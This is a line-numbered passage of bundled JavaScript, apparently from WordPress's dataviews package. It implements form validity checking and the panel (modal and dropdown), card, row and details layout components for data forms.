40114 if (value !== void 0) {
40115 filteredResult[key] = value;
40116 }
40117 });
40118 if (Object.keys(filteredResult).length === 0) {
40119 return void 0;
40120 }
40121 return {
40122 children: filteredResult
40123 };
40124 }
40125 return void 0;
40126 }
40127 function getFormFieldValue(formField, item) {
40128 const fieldValue = formField?.field?.getValue({ item });
40129 if (formField.children.length === 0) {
40130 return fieldValue;
40131 }
40132 const childrenValues = formField.children.map(
40133 (child) => getFormFieldValue(child, item)
40134 );
40135 if (!childrenValues) {
40136 return fieldValue;
40137 }
40138 return {
40139 value: fieldValue,
40140 children: childrenValues
40141 };
40142 }
40143 function useFormValidity(item, fields, form) {
40144 const [formValidity, setFormValidity] = (0, import_element125.useState)();
40145 const customCounterRef = (0, import_element125.useRef)({});
40146 const elementsCounterRef = (0, import_element125.useRef)({});
40147 const previousValuesRef = (0, import_element125.useRef)({});
40148 const validate = (0, import_element125.useCallback)(() => {
40149 const promiseHandler = {
40150 customCounterRef,
40151 elementsCounterRef,
40152 setFormValidity,
40153 path: [],
40154 item
40155 };
40156 const formFieldsToValidate = getFormFieldsToValidate(form, fields);
40157 if (formFieldsToValidate.length === 0) {
40158 setFormValidity(void 0);
40159 return;
40160 }
40161 const newFormValidity = {};
40162 const untouchedFields = [];
40163 formFieldsToValidate.forEach((formField) => {
40164 const value = getFormFieldValue(formField, item);
40165 if (previousValuesRef.current.hasOwnProperty(formField.id) && (0, import_es63.default)(
40166 previousValuesRef.current[formField.id],
40167 value
40168 )) {
40169 untouchedFields.push(formField.id);
40170 return;
40171 }
40172 previousValuesRef.current[formField.id] = value;
40173 const fieldValidity = validateFormField(
40174 item,
40175 formField,
40176 promiseHandler
40177 );
40178 if (fieldValidity !== void 0) {
40179 newFormValidity[formField.id] = fieldValidity;
40180 }
40181 });
40182 setFormValidity((existingFormValidity) => {
40183 let validity = {
40184 ...existingFormValidity,
40185 ...newFormValidity
40186 };
40187 const fieldsToKeep = [
40188 ...untouchedFields,
40189 ...Object.keys(newFormValidity)
40190 ];
40191 Object.keys(validity).forEach((key) => {
40192 if (validity && !fieldsToKeep.includes(key)) {
40193 delete validity[key];
40194 }
40195 });
40196 if (Object.keys(validity).length === 0) {
40197 validity = void 0;
40198 }
40199 const areEqual = (0, import_es63.default)(existingFormValidity, validity);
40200 if (areEqual) {
40201 return existingFormValidity;
40202 }
40203 return validity;
40204 });
40205 }, [item, fields, form]);
40206 (0, import_element125.useEffect)(() => {
40207 validate();
40208 }, [validate]);
40209 return {
40210 validity: formValidity,
40211 isValid: isFormValid(formValidity)
40212 };
40213 }
40214 var use_form_validity_default = useFormValidity;
40215
40216 // packages/dataviews/build-module/hooks/use-report-validity.mjs
40217 var import_element126 = __toESM(require_element(), 1);
40218 function useReportValidity(ref, shouldReport) {
40219 (0, import_element126.useEffect)(() => {
40220 if (shouldReport && ref.current) {
40221 const inputs = ref.current.querySelectorAll(
40222 "input, textarea, select"
40223 );
40224 inputs.forEach((input) => {
40225 input.reportValidity();
40226 });
40227 }
40228 }, [shouldReport, ref]);
40229 }
40230
40231 // packages/dataviews/build-module/components/dataform-layouts/panel/utils/use-field-from-form-field.mjs
40232 var import_element127 = __toESM(require_element(), 1);
40233
40234 // packages/dataviews/build-module/components/dataform-layouts/get-summary-fields.mjs
40235 function extractSummaryIds(summary) {
40236 if (Array.isArray(summary)) {
40237 return summary.map(
40238 (item) => typeof item === "string" ? item : item.id
40239 );
40240 }
40241 return [];
40242 }
40243 var getSummaryFields = (summaryField, fields) => {
40244 if (Array.isArray(summaryField) && summaryField.length > 0) {
40245 const summaryIds = extractSummaryIds(summaryField);
40246 return summaryIds.map(
40247 (summaryId) => fields.find((_field) => _field.id === summaryId)
40248 ).filter((_field) => _field !== void 0);
40249 }
40250 return [];
40251 };
40252
40253 // packages/dataviews/build-module/components/dataform-layouts/panel/utils/use-field-from-form-field.mjs
40254 var getFieldDefinition = (field, fields) => {
40255 const fieldDefinition = fields.find((_field) => _field.id === field.id);
40256 if (!fieldDefinition) {
40257 return fields.find((_field) => {
40258 if (!!field.children) {
40259 const simpleChildren = field.children.filter(
40260 (child) => !child.children
40261 );
40262 if (simpleChildren.length === 0) {
40263 return false;
40264 }
40265 return _field.id === simpleChildren[0].id;
40266 }
40267 return _field.id === field.id;
40268 });
40269 }
40270 return fieldDefinition;
40271 };
40272 function useFieldFromFormField(field) {
40273 const { fields } = (0, import_element127.useContext)(dataform_context_default);
40274 const layout = field.layout;
40275 const summaryFields = getSummaryFields(layout.summary, fields);
40276 const fieldDefinition = getFieldDefinition(field, fields);
40277 const fieldLabel = !!field.children ? field.label : fieldDefinition?.label;
40278 if (summaryFields.length === 0) {
40279 return {
40280 summaryFields: fieldDefinition ? [fieldDefinition] : [],
40281 fieldDefinition,
40282 fieldLabel
40283 };
40284 }
40285 return {
40286 summaryFields,
40287 fieldDefinition,
40288 fieldLabel
40289 };
40290 }
40291 var use_field_from_form_field_default = useFieldFromFormField;
40292
40293 // packages/dataviews/build-module/components/dataform-layouts/panel/modal.mjs
40294 var import_jsx_runtime258 = __toESM(require_jsx_runtime(), 1);
40295 function ModalContent({
40296 data,
40297 field,
40298 onChange,
40299 fieldLabel,
40300 onClose,
40301 touched
40302 }) {
40303 const { fields } = (0, import_element128.useContext)(dataform_context_default);
40304 const [changes, setChanges] = (0, import_element128.useState)({});
40305 const modalData = (0, import_element128.useMemo)(() => {
40306 return (0, import_deepmerge3.default)(data, changes, {
40307 arrayMerge: (target, source) => source
40308 });
40309 }, [data, changes]);
40310 const form = (0, import_element128.useMemo)(
40311 () => ({
40312 layout: DEFAULT_LAYOUT,
40313 fields: !!field.children ? field.children : (
40314 // If not explicit children return the field id itself.
40315 [{ id: field.id, layout: DEFAULT_LAYOUT }]
40316 )
40317 }),
40318 [field]
40319 );
40320 const fieldsAsFieldType = fields.map((f2) => ({
40321 ...f2,
40322 Edit: f2.Edit === null ? void 0 : f2.Edit,
40323 isValid: {
40324 required: f2.isValid.required?.constraint,
40325 elements: f2.isValid.elements?.constraint,
40326 min: f2.isValid.min?.constraint,
40327 max: f2.isValid.max?.constraint,
40328 pattern: f2.isValid.pattern?.constraint,
40329 minLength: f2.isValid.minLength?.constraint,
40330 maxLength: f2.isValid.maxLength?.constraint
40331 }
40332 }));
40333 const { validity } = use_form_validity_default(modalData, fieldsAsFieldType, form);
40334 const onApply = () => {
40335 onChange(changes);
40336 onClose();
40337 };
40338 const handleOnChange = (newValue) => {
40339 setChanges(
40340 (prev) => (0, import_deepmerge3.default)(prev, newValue, {
40341 arrayMerge: (target, source) => source
40342 })
40343 );
40344 };
40345 const focusOnMountRef = (0, import_compose25.useFocusOnMount)("firstInputElement");
40346 const contentRef = (0, import_element128.useRef)(null);
40347 const mergedRef = (0, import_compose25.useMergeRefs)([focusOnMountRef, contentRef]);
40348 useReportValidity(contentRef, touched);
40349 return /* @__PURE__ */ (0, import_jsx_runtime258.jsxs)(
40350 import_components140.Modal,
40351 {
40352 className: "dataforms-layouts-panel__modal",
40353 onRequestClose: onClose,
40354 isFullScreen: false,
40355 title: fieldLabel,
40356 size: "medium",
40357 children: [
40358 /* @__PURE__ */ (0, import_jsx_runtime258.jsx)("div", { ref: mergedRef, children: /* @__PURE__ */ (0, import_jsx_runtime258.jsx)(
40359 DataFormLayout,
40360 {
40361 data: modalData,
40362 form,
40363 onChange: handleOnChange,
40364 validity,
40365 children: (FieldLayout, childField, childFieldValidity, markWhenOptional) => /* @__PURE__ */ (0, import_jsx_runtime258.jsx)(
40366 FieldLayout,
40367 {
40368 data: modalData,
40369 field: childField,
40370 onChange: handleOnChange,
40371 hideLabelFromVision: form.fields.length < 2,
40372 markWhenOptional,
40373 validity: childFieldValidity
40374 },
40375 childField.id
40376 )
40377 }
40378 ) }),
40379 /* @__PURE__ */ (0, import_jsx_runtime258.jsxs)(
40380 Stack,
40381 {
40382 direction: "row",
40383 className: "dataforms-layouts-panel__modal-footer",
40384 gap: "md",
40385 children: [
40386 /* @__PURE__ */ (0, import_jsx_runtime258.jsx)(import_components140.__experimentalSpacer, { style: { flex: 1 } }),
40387 /* @__PURE__ */ (0, import_jsx_runtime258.jsx)(
40388 import_components140.Button,
40389 {
40390 variant: "tertiary",
40391 onClick: onClose,
40392 __next40pxDefaultSize: true,
40393 children: (0, import_i18n128.__)("Cancel")
40394 }
40395 ),
40396 /* @__PURE__ */ (0, import_jsx_runtime258.jsx)(
40397 import_components140.Button,
40398 {
40399 variant: "primary",
40400 onClick: onApply,
40401 __next40pxDefaultSize: true,
40402 children: (0, import_i18n128.__)("Apply")
40403 }
40404 )
40405 ]
40406 }
40407 )
40408 ]
40409 }
40410 );
40411 }
40412 function PanelModal({
40413 data,
40414 field,
40415 onChange,
40416 validity
40417 }) {
40418 const [touched, setTouched] = (0, import_element128.useState)(false);
40419 const [isOpen, setIsOpen] = (0, import_element128.useState)(false);
40420 const { fieldDefinition, fieldLabel, summaryFields } = use_field_from_form_field_default(field);
40421 if (!fieldDefinition) {
40422 return null;
40423 }
40424 const handleClose = () => {
40425 setIsOpen(false);
40426 setTouched(true);
40427 };
40428 return /* @__PURE__ */ (0, import_jsx_runtime258.jsxs)(import_jsx_runtime258.Fragment, { children: [
40429 /* @__PURE__ */ (0, import_jsx_runtime258.jsx)(
40430 SummaryButton,
40431 {
40432 data,
40433 field,
40434 fieldLabel,
40435 summaryFields,
40436 validity,
40437 touched,
40438 disabled: fieldDefinition.readOnly === true,
40439 onClick: () => setIsOpen(true),
40440 "aria-expanded": isOpen
40441 }
40442 ),
40443 isOpen && /* @__PURE__ */ (0, import_jsx_runtime258.jsx)(
40444 ModalContent,
40445 {
40446 data,
40447 field,
40448 onChange,
40449 fieldLabel: fieldLabel ?? "",
40450 onClose: handleClose,
40451 touched
40452 }
40453 )
40454 ] });
40455 }
40456 var modal_default2 = PanelModal;
40457
40458 // packages/dataviews/build-module/components/dataform-layouts/panel/dropdown.mjs
40459 var import_components141 = __toESM(require_components(), 1);
40460 var import_i18n129 = __toESM(require_i18n(), 1);
40461 var import_element129 = __toESM(require_element(), 1);
40462 var import_compose26 = __toESM(require_compose(), 1);
40463 var import_jsx_runtime259 = __toESM(require_jsx_runtime(), 1);
40464 function DropdownHeader({
40465 title,
40466 onClose
40467 }) {
40468 return /* @__PURE__ */ (0, import_jsx_runtime259.jsx)(
40469 Stack,
40470 {
40471 direction: "column",
40472 className: "dataforms-layouts-panel__dropdown-header",
40473 gap: "lg",
40474 children: /* @__PURE__ */ (0, import_jsx_runtime259.jsxs)(Stack, { direction: "row", gap: "sm", align: "center", children: [
40475 title && /* @__PURE__ */ (0, import_jsx_runtime259.jsx)(import_components141.__experimentalHeading, { level: 2, size: 13, children: title }),
40476 /* @__PURE__ */ (0, import_jsx_runtime259.jsx)(import_components141.__experimentalSpacer, { style: { flex: 1 } }),
40477 onClose && /* @__PURE__ */ (0, import_jsx_runtime259.jsx)(
40478 import_components141.Button,
40479 {
40480 label: (0, import_i18n129.__)("Close"),
40481 icon: close_small_default,
40482 onClick: onClose,
40483 size: "small"
40484 }
40485 )
40486 ] })
40487 }
40488 );
40489 }
40490 function DropdownContentWithValidation({
40491 touched,
40492 children
40493 }) {
40494 const ref = (0, import_element129.useRef)(null);
40495 useReportValidity(ref, touched);
40496 return /* @__PURE__ */ (0, import_jsx_runtime259.jsx)("div", { ref, children });
40497 }
40498 function PanelDropdown({
40499 data,
40500 field,
40501 onChange,
40502 validity
40503 }) {
40504 const [touched, setTouched] = (0, import_element129.useState)(false);
40505 const [popoverAnchor, setPopoverAnchor] = (0, import_element129.useState)(
40506 null
40507 );
40508 const popoverProps = (0, import_element129.useMemo)(
40509 () => ({
40510 // Anchor the popover to the middle of the entire row so that it doesn't
40511 // move around when the label changes.
40512 anchor: popoverAnchor,
40513 placement: "left-start",
40514 offset: 36,
40515 shift: true
40516 }),
40517 [popoverAnchor]
40518 );
40519 const [dialogRef, dialogProps] = (0, import_compose26.__experimentalUseDialog)({
40520 focusOnMount: "firstInputElement"
40521 });
40522 const form = (0, import_element129.useMemo)(
40523 () => ({
40524 layout: DEFAULT_LAYOUT,
40525 fields: !!field.children ? field.children : (
40526 // If not explicit children return the field id itself.
40527 [{ id: field.id, layout: DEFAULT_LAYOUT }]
40528 )
40529 }),
40530 [field]
40531 );
40532 const formValidity = (0, import_element129.useMemo)(() => {
40533 if (validity === void 0) {
40534 return void 0;
40535 }
40536 if (!!field.children) {
40537 return validity?.children;
40538 }
40539 return { [field.id]: validity };
40540 }, [validity, field]);
40541 const { fieldDefinition, fieldLabel, summaryFields } = use_field_from_form_field_default(field);
40542 if (!fieldDefinition) {
40543 return null;
40544 }
40545 return /* @__PURE__ */ (0, import_jsx_runtime259.jsx)(
40546 "div",
40547 {
40548 ref: setPopoverAnchor,
40549 className: "dataforms-layouts-panel__field-dropdown-anchor",
40550 children: /* @__PURE__ */ (0, import_jsx_runtime259.jsx)(
40551 import_components141.Dropdown,
40552 {
40553 contentClassName: "dataforms-layouts-panel__field-dropdown",
40554 popoverProps,
40555 focusOnMount: false,
40556 onToggle: (willOpen) => {
40557 if (!willOpen) {
40558 setTouched(true);
40559 }
40560 },
40561 renderToggle: ({ isOpen, onToggle }) => /* @__PURE__ */ (0, import_jsx_runtime259.jsx)(
40562 SummaryButton,
40563 {
40564 data,
40565 field,
40566 fieldLabel,
40567 summaryFields,
40568 validity,
40569 touched,
40570 disabled: fieldDefinition.readOnly === true,
40571 onClick: onToggle,
40572 "aria-expanded": isOpen
40573 }
40574 ),
40575 renderContent: ({ onClose }) => /* @__PURE__ */ (0, import_jsx_runtime259.jsx)(DropdownContentWithValidation, { touched, children: /* @__PURE__ */ (0, import_jsx_runtime259.jsxs)("div", { ref: dialogRef, ...dialogProps, children: [
40576 /* @__PURE__ */ (0, import_jsx_runtime259.jsx)(
40577 DropdownHeader,
40578 {
40579 title: fieldLabel,
40580 onClose
40581 }
40582 ),
40583 /* @__PURE__ */ (0, import_jsx_runtime259.jsx)(
40584 DataFormLayout,
40585 {
40586 data,
40587 form,
40588 onChange,
40589 validity: formValidity,
40590 children: (FieldLayout, childField, childFieldValidity, markWhenOptional) => /* @__PURE__ */ (0, import_jsx_runtime259.jsx)(
40591 FieldLayout,
40592 {
40593 data,
40594 field: childField,
40595 onChange,
40596 hideLabelFromVision: (form?.fields ?? []).length < 2,
40597 markWhenOptional,
40598 validity: childFieldValidity
40599 },
40600 childField.id
40601 )
40602 }
40603 )
40604 ] }) })
40605 }
40606 )
40607 }
40608 );
40609 }
40610 var dropdown_default = PanelDropdown;
40611
40612 // packages/dataviews/build-module/components/dataform-layouts/panel/index.mjs
40613 var import_jsx_runtime260 = __toESM(require_jsx_runtime(), 1);
40614 function FormPanelField({
40615 data,
40616 field,
40617 onChange,
40618 validity
40619 }) {
40620 const layout = field.layout;
40621 if (layout.openAs === "modal") {
40622 return /* @__PURE__ */ (0, import_jsx_runtime260.jsx)(
40623 modal_default2,
40624 {
40625 data,
40626 field,
40627 onChange,
40628 validity
40629 }
40630 );
40631 }
40632 return /* @__PURE__ */ (0, import_jsx_runtime260.jsx)(
40633 dropdown_default,
40634 {
40635 data,
40636 field,
40637 onChange,
40638 validity
40639 }
40640 );
40641 }
40642
40643 // packages/dataviews/build-module/components/dataform-layouts/card/index.mjs
40644 var import_components142 = __toESM(require_components(), 1);
40645 var import_compose27 = __toESM(require_compose(), 1);
40646 var import_element130 = __toESM(require_element(), 1);
40647 var import_i18n131 = __toESM(require_i18n(), 1);
40648
40649 // packages/dataviews/build-module/components/dataform-layouts/validation-badge.mjs
40650 var import_i18n130 = __toESM(require_i18n(), 1);
40651 var import_jsx_runtime261 = __toESM(require_jsx_runtime(), 1);
40652 function countInvalidFields(validity) {
40653 if (!validity) {
40654 return 0;
40655 }
40656 let count = 0;
40657 const validityRules = Object.keys(validity).filter(
40658 (key) => key !== "children"
40659 );
40660 for (const key of validityRules) {
40661 const rule = validity[key];
40662 if (rule?.type === "invalid") {
40663 count++;
40664 }
40665 }
40666 if (validity.children) {
40667 for (const childValidity of Object.values(validity.children)) {
40668 count += countInvalidFields(childValidity);
40669 }
40670 }
40671 return count;
40672 }
40673 function ValidationBadge({
40674 validity
40675 }) {
40676 const invalidCount = countInvalidFields(validity);
40677 if (invalidCount === 0) {
40678 return null;
40679 }
40680 return /* @__PURE__ */ (0, import_jsx_runtime261.jsx)(Badge, { intent: "high", children: (0, import_i18n130.sprintf)(
40681 /* translators: %d: Number of fields that need attention */
40682 (0, import_i18n130._n)(
40683 "%d field needs attention",
40684 "%d fields need attention",
40685 invalidCount
40686 ),
40687 invalidCount
40688 ) });
40689 }
40690
40691 // packages/dataviews/build-module/components/dataform-layouts/card/index.mjs
40692 var import_jsx_runtime262 = __toESM(require_jsx_runtime(), 1);
40693 function isSummaryFieldVisible(summaryField, summaryConfig, isOpen) {
40694 if (!summaryConfig || Array.isArray(summaryConfig) && summaryConfig.length === 0) {
40695 return false;
40696 }
40697 const summaryConfigArray = Array.isArray(summaryConfig) ? summaryConfig : [summaryConfig];
40698 const fieldConfig = summaryConfigArray.find((config2) => {
40699 if (typeof config2 === "string") {
40700 return config2 === summaryField.id;
40701 }
40702 if (typeof config2 === "object" && "id" in config2) {
40703 return config2.id === summaryField.id;
40704 }
40705 return false;
40706 });
40707 if (!fieldConfig) {
40708 return false;
40709 }
40710 if (typeof fieldConfig === "string") {
40711 return true;
40712 }
40713 if (typeof fieldConfig === "object" && "visibility" in fieldConfig) {
40714 return fieldConfig.visibility === "always" || fieldConfig.visibility === "when-collapsed" && !isOpen;
40715 }
40716 return true;
40717 }
40718 function FormCardField({
40719 data,
40720 field,
40721 onChange,
40722 hideLabelFromVision,
40723 markWhenOptional,
40724 validity
40725 }) {
40726 const { fields } = (0, import_element130.useContext)(dataform_context_default);
40727 const layout = field.layout;
40728 const cardBodyRef = (0, import_element130.useRef)(null);
40729 const bodyId = (0, import_compose27.useInstanceId)(
40730 FormCardField,
40731 "dataforms-layouts-card-card-body"
40732 );
40733 const form = (0, import_element130.useMemo)(
40734 () => ({
40735 layout: DEFAULT_LAYOUT,
40736 fields: field.children ?? []
40737 }),
40738 [field]
40739 );
40740 const { isOpened, isCollapsible } = layout;
40741 const [internalIsOpen, setIsOpen] = (0, import_element130.useState)(isOpened);
40742 const [touched, setTouched] = (0, import_element130.useState)(false);
40743 (0, import_element130.useEffect)(() => {
40744 setIsOpen(isOpened);
40745 }, [isOpened]);
40746 const toggle = (0, import_element130.useCallback)(() => {
40747 setIsOpen((prev) => {
40748 if (prev) {
40749 setTouched(true);
40750 }
40751 return !prev;
40752 });
40753 }, []);
40754 const isOpen = isCollapsible ? internalIsOpen : true;
40755 const handleBlur = (0, import_element130.useCallback)(() => {
40756 setTouched(true);
40757 }, [setTouched]);
40758 useReportValidity(cardBodyRef, isOpen && touched);
40759 const summaryFields = getSummaryFields(layout.summary, fields);
40760 const visibleSummaryFields = summaryFields.filter(
40761 (summaryField) => isSummaryFieldVisible(summaryField, layout.summary, isOpen)
40762 );
40763 const validationBadge = touched && layout.isCollapsible ? /* @__PURE__ */ (0, import_jsx_runtime262.jsx)(ValidationBadge, { validity }) : null;
40764 const sizeCard = {
40765 blockStart: "medium",
40766 blockEnd: "medium",
40767 inlineStart: "medium",
40768 inlineEnd: "medium"
40769 };
40770 let label = field.label;
40771 let withHeader;
40772 let bodyContent;
40773 if (field.children) {
40774 withHeader = !!label && layout.withHeader;
40775 bodyContent = /* @__PURE__ */ (0, import_jsx_runtime262.jsxs)(import_jsx_runtime262.Fragment, { children: [
40776 field.description && /* @__PURE__ */ (0, import_jsx_runtime262.jsx)("div", { className: "dataforms-layouts-card__field-description", children: field.description }),
40777 /* @__PURE__ */ (0, import_jsx_runtime262.jsx)(
40778 DataFormLayout,
40779 {
40780 data,
40781 form,
40782 onChange,
40783 validity: validity?.children
40784 }
40785 )
40786 ] });
40787 } else {
40788 const fieldDefinition = fields.find(
40789 (fieldDef) => fieldDef.id === field.id
40790 );
40791 if (!fieldDefinition || !fieldDefinition.Edit) {
40792 return null;
40793 }
40794 const SingleFieldLayout = getFormFieldLayout("regular")?.component;
40795 if (!SingleFieldLayout) {
40796 return null;
40797 }
40798 label = fieldDefinition.label;
40799 withHeader = !!label && layout.withHeader;
40800 bodyContent = /* @__PURE__ */ (0, import_jsx_runtime262.jsx)(
40801 SingleFieldLayout,
40802 {
40803 data,
40804 field,
40805 onChange,
40806 hideLabelFromVision: hideLabelFromVision || withHeader,
40807 markWhenOptional,
40808 validity
40809 }
40810 );
40811 }
40812 const sizeCardBody = {
40813 blockStart: withHeader ? "none" : "medium",
40814 blockEnd: "medium",
40815 inlineStart: "medium",
40816 inlineEnd: "medium"
40817 };
40818 return /* @__PURE__ */ (0, import_jsx_runtime262.jsxs)(import_components142.Card, { className: "dataforms-layouts-card__field", size: sizeCard, children: [
40819 withHeader && /* @__PURE__ */ (0, import_jsx_runtime262.jsxs)(
40820 import_components142.CardHeader,
40821 {
40822 className: "dataforms-layouts-card__field-header",
40823 onClick: isCollapsible ? toggle : void 0,
40824 style: {
40825 cursor: isCollapsible ? "pointer" : void 0
40826 },
40827 isBorderless: true,
40828 children: [
40829 /* @__PURE__ */ (0, import_jsx_runtime262.jsxs)(
40830 "div",
40831 {
40832 style: {
40833 // Match the expand/collapse button's height to avoid layout
40834 // differences when that button is not displayed.
40835 height: isCollapsible ? void 0 : "40px",
40836 width: "100%",
40837 display: "flex",
40838 justifyContent: "space-between",
40839 alignItems: "center"
40840 },
40841 children: [
40842 /* @__PURE__ */ (0, import_jsx_runtime262.jsx)("span", { className: "dataforms-layouts-card__field-header-label", children: label }),
40843 validationBadge,
40844 visibleSummaryFields.length > 0 && layout.withHeader && /* @__PURE__ */ (0, import_jsx_runtime262.jsx)("div", { className: "dataforms-layouts-card__field-summary", children: visibleSummaryFields.map(
40845 (summaryField) => /* @__PURE__ */ (0, import_jsx_runtime262.jsx)(
40846 summaryField.render,
40847 {
40848 item: data,
40849 field: summaryField
40850 },
40851 summaryField.id
40852 )
40853 ) })
40854 ]
40855 }
40856 ),
40857 isCollapsible && /* @__PURE__ */ (0, import_jsx_runtime262.jsx)(
40858 import_components142.Button,
40859 {
40860 __next40pxDefaultSize: true,
40861 variant: "tertiary",
40862 icon: isOpen ? chevron_up_default : chevron_down_default,
40863 "aria-expanded": isOpen,
40864 "aria-controls": bodyId,
40865 "aria-label": isOpen ? (0, import_i18n131.__)("Collapse") : (0, import_i18n131.__)("Expand")
40866 }
40867 )
40868 ]
40869 }
40870 ),
40871 (isOpen || !withHeader) && // If it doesn't have a header, keep it open.
40872 // Otherwise, the card will not be visible.
40873 /* @__PURE__ */ (0, import_jsx_runtime262.jsx)(
40874 import_components142.CardBody,
40875 {
40876 id: bodyId,
40877 size: sizeCardBody,
40878 className: "dataforms-layouts-card__field-control",
40879 ref: cardBodyRef,
40880 onBlur: handleBlur,
40881 children: bodyContent
40882 }
40883 )
40884 ] });
40885 }
40886
40887 // packages/dataviews/build-module/components/dataform-layouts/row/index.mjs
40888 var import_components143 = __toESM(require_components(), 1);
40889 var import_jsx_runtime263 = __toESM(require_jsx_runtime(), 1);
40890 function Header3({ title }) {
40891 return /* @__PURE__ */ (0, import_jsx_runtime263.jsx)(
40892 Stack,
40893 {
40894 direction: "column",
40895 className: "dataforms-layouts-row__header",
40896 gap: "lg",
40897 children: /* @__PURE__ */ (0, import_jsx_runtime263.jsx)(Stack, { direction: "row", align: "center", children: /* @__PURE__ */ (0, import_jsx_runtime263.jsx)(import_components143.__experimentalHeading, { level: 2, size: 13, children: title }) })
40898 }
40899 );
40900 }
40901 var EMPTY_WRAPPER = ({ children }) => /* @__PURE__ */ (0, import_jsx_runtime263.jsx)(import_jsx_runtime263.Fragment, { children });
40902 function FormRowField({
40903 data,
40904 field,
40905 onChange,
40906 hideLabelFromVision,
40907 markWhenOptional,
40908 validity
40909 }) {
40910 const layout = field.layout;
40911 if (!!field.children) {
40912 const form = {
40913 layout: DEFAULT_LAYOUT,
40914 fields: field.children
40915 };
40916 return /* @__PURE__ */ (0, import_jsx_runtime263.jsxs)("div", { className: "dataforms-layouts-row__field", children: [
40917 !hideLabelFromVision && field.label && /* @__PURE__ */ (0, import_jsx_runtime263.jsx)(Header3, { title: field.label }),
40918 /* @__PURE__ */ (0, import_jsx_runtime263.jsx)(Stack, { direction: "row", align: layout.alignment, gap: "lg", children: /* @__PURE__ */ (0, import_jsx_runtime263.jsx)(
40919 DataFormLayout,
40920 {
40921 data,
40922 form,
40923 onChange,
40924 validity: validity?.children,
40925 as: EMPTY_WRAPPER,
40926 children: (FieldLayout, childField, childFieldValidity) => /* @__PURE__ */ (0, import_jsx_runtime263.jsx)(
40927 "div",
40928 {
40929 className: "dataforms-layouts-row__field-control",
40930 style: layout.styles[childField.id],
40931 children: /* @__PURE__ */ (0, import_jsx_runtime263.jsx)(
40932 FieldLayout,
40933 {
40934 data,
40935 field: childField,
40936 onChange,
40937 hideLabelFromVision,
40938 markWhenOptional,
40939 validity: childFieldValidity
40940 }
40941 )
40942 },
40943 childField.id
40944 )
40945 }
40946 ) })
40947 ] });
40948 }
40949 const RegularLayout = getFormFieldLayout("regular")?.component;
40950 if (!RegularLayout) {
40951 return null;
40952 }
40953 return /* @__PURE__ */ (0, import_jsx_runtime263.jsx)(import_jsx_runtime263.Fragment, { children: /* @__PURE__ */ (0, import_jsx_runtime263.jsx)("div", { className: "dataforms-layouts-row__field-control", children: /* @__PURE__ */ (0, import_jsx_runtime263.jsx)(
40954 RegularLayout,
40955 {
40956 data,
40957 field,
40958 onChange,
40959 markWhenOptional,
40960 validity
40961 }
40962 ) }) });
40963 }
40964
40965 // packages/dataviews/build-module/components/dataform-layouts/details/index.mjs
40966 var import_element131 = __toESM(require_element(), 1);
40967 var import_i18n132 = __toESM(require_i18n(), 1);
40968 var import_jsx_runtime264 = __toESM(require_jsx_runtime(), 1);
40969 function FormDetailsField({
40970 data,
40971 field,
40972 onChange,
40973 validity
40974 }) {
40975 const { fields } = (0, import_element131.useContext)(dataform_context_default);
40976 const detailsRef = (0, import_element131.useRef)(null);
40977 const contentRef = (0, import_element131.useRef)(null);
40978 const [touched, setTouched] = (0, import_element131.useState)(false);
40979 const [isOpen, setIsOpen] = (0, import_element131.useState)(false);
40980 const form = (0, import_element131.useMemo)(
40981 () => ({
40982 layout: DEFAULT_LAYOUT,
40983 fields: field.children ?? []
40984 }),
40985 [field]
40986 );
40987 (0, import_element131.useEffect)(() => {
40988 const details = detailsRef.current;
40989 if (!details) {
40990 return;
40991 }
40992 const handleToggle = () => {
40993 const nowOpen = details.open;
40994 if (!nowOpen) {
40995 setTouched(true);
40996 }
40997 setIsOpen(nowOpen);
40998 };
40999 details.addEventListener("toggle", handleToggle);
41000 return () => {
41001 details.removeEventListener("toggle", handleToggle);
41002 };
41003 }, []);
41004 useReportValidity(contentRef, isOpen && touched);
41005 const handleBlur = (0, import_element131.useCallback)(() => {
41006 setTouched(true);
41007 }, []);
41008 if (!field.children) {
41009 return null;
41010 }
41011 const summaryFieldId = field.layout.summary ?? "";
41012 const summaryField = summaryFieldId ? fields.find((fieldDef) => fieldDef.id === summaryFieldId) : void 0;
41013 let summaryContent;
41014 if (summaryField && summaryField.render) {
41015 summaryContent = /* @__PURE__ */ (0, import_jsx_runtime264.jsx)(summaryField.render, { item: data, field: summaryField });
41016 } else {
41017 summaryContent = field.label || (0, import_i18n132.__)("More details");
41018 }
41019 return /* @__PURE__ */ (0, import_jsx_runtime264.jsxs)(
41020 "details",
41021 {
41022 ref: detailsRef,
41023 className: "dataforms-layouts-details__details",
41024 children: [
41025 /* @__PURE__ */ (0, import_jsx_runtime264.jsx)("summary", { className: "dataforms-layouts-details__summary", children: /* @__PURE__ */ (0, import_jsx_runtime264.jsxs)(
41026 Stack,
41027 {
41028 direction: "row",
41029 align: "center",
41030 gap: "md",
41031 className: "dataforms-layouts-details__summary-content",
41032 children: [
41033 summaryContent,
41034 touched && /* @__PURE__ */ (0, import_jsx_runtime264.jsx)(ValidationBadge, { validity })
41035 ]
41036 }
41037 ) }),
41038 /* @__PURE__ */ (0, import_jsx_runtime264.jsx)(
41039 "div",
41040 {
41041 ref: contentRef,
41042 className: "dataforms-layouts-details__content",
41043 onBlur: handleBlur,
41044 children: /* @__PURE__ */ (0, import_jsx_runtime264.jsx)(
41045 DataFormLayout,
41046 {
41047 data,
41048 form,
41049 onChange,
41050 validity: validity?.children
41051 }
41052 )
41053 }
41054 )
41055 ]
41056 }
41057 );
41058 }
41059
41060 // packages/dataviews/build-module/components/dataform-layouts/index.mjs
41061 var import_jsx_runtime265 = __toESM(require_jsx_runtime(), 1);
41062 var FORM_FIELD_LAYOUTS = [
41063 {
41064 type: "regular",
41065 component: FormRegularField,
41066 wrapper: ({ children }) => /* @__PURE__ */ (0, import_jsx_runtime265.jsx)(
41067 Stack,
41068 {
41069 direction: "column",
41070 className: "dataforms-layouts__wrapper",
41071 gap: "lg",
41072 children
41073 }
41074 )
41075 },
41076 {
41077 type: "panel",
41078 component: FormPanelField,
41079 wrapper: ({ children }) => /* @__PURE__ */ (0, import_jsx_runtime265.jsx)(
41080 Stack,
41081 {
41082 direction: "column",
41083 className: "dataforms-layouts__wrapper",
41084 gap: "md",
41085 children
41086 }
41087 )
41088 },
41089 {
41090 type: "card",
41091 component: FormCardField,
41092 wrapper: ({ children }) => /* @__PURE__ */ (0, import_jsx_runtime265.jsx)(
41093 Stack,
41094 {
41095 direction: "column",
41096 className: "dataforms-layouts__wrapper",
41097 gap: "xl",
41098 children
41099 }
41100 )
41101 },
41102 {
41103 type: "row",
41104 component: FormRowField,
41105 wrapper: ({
41106 children,
41107 layout
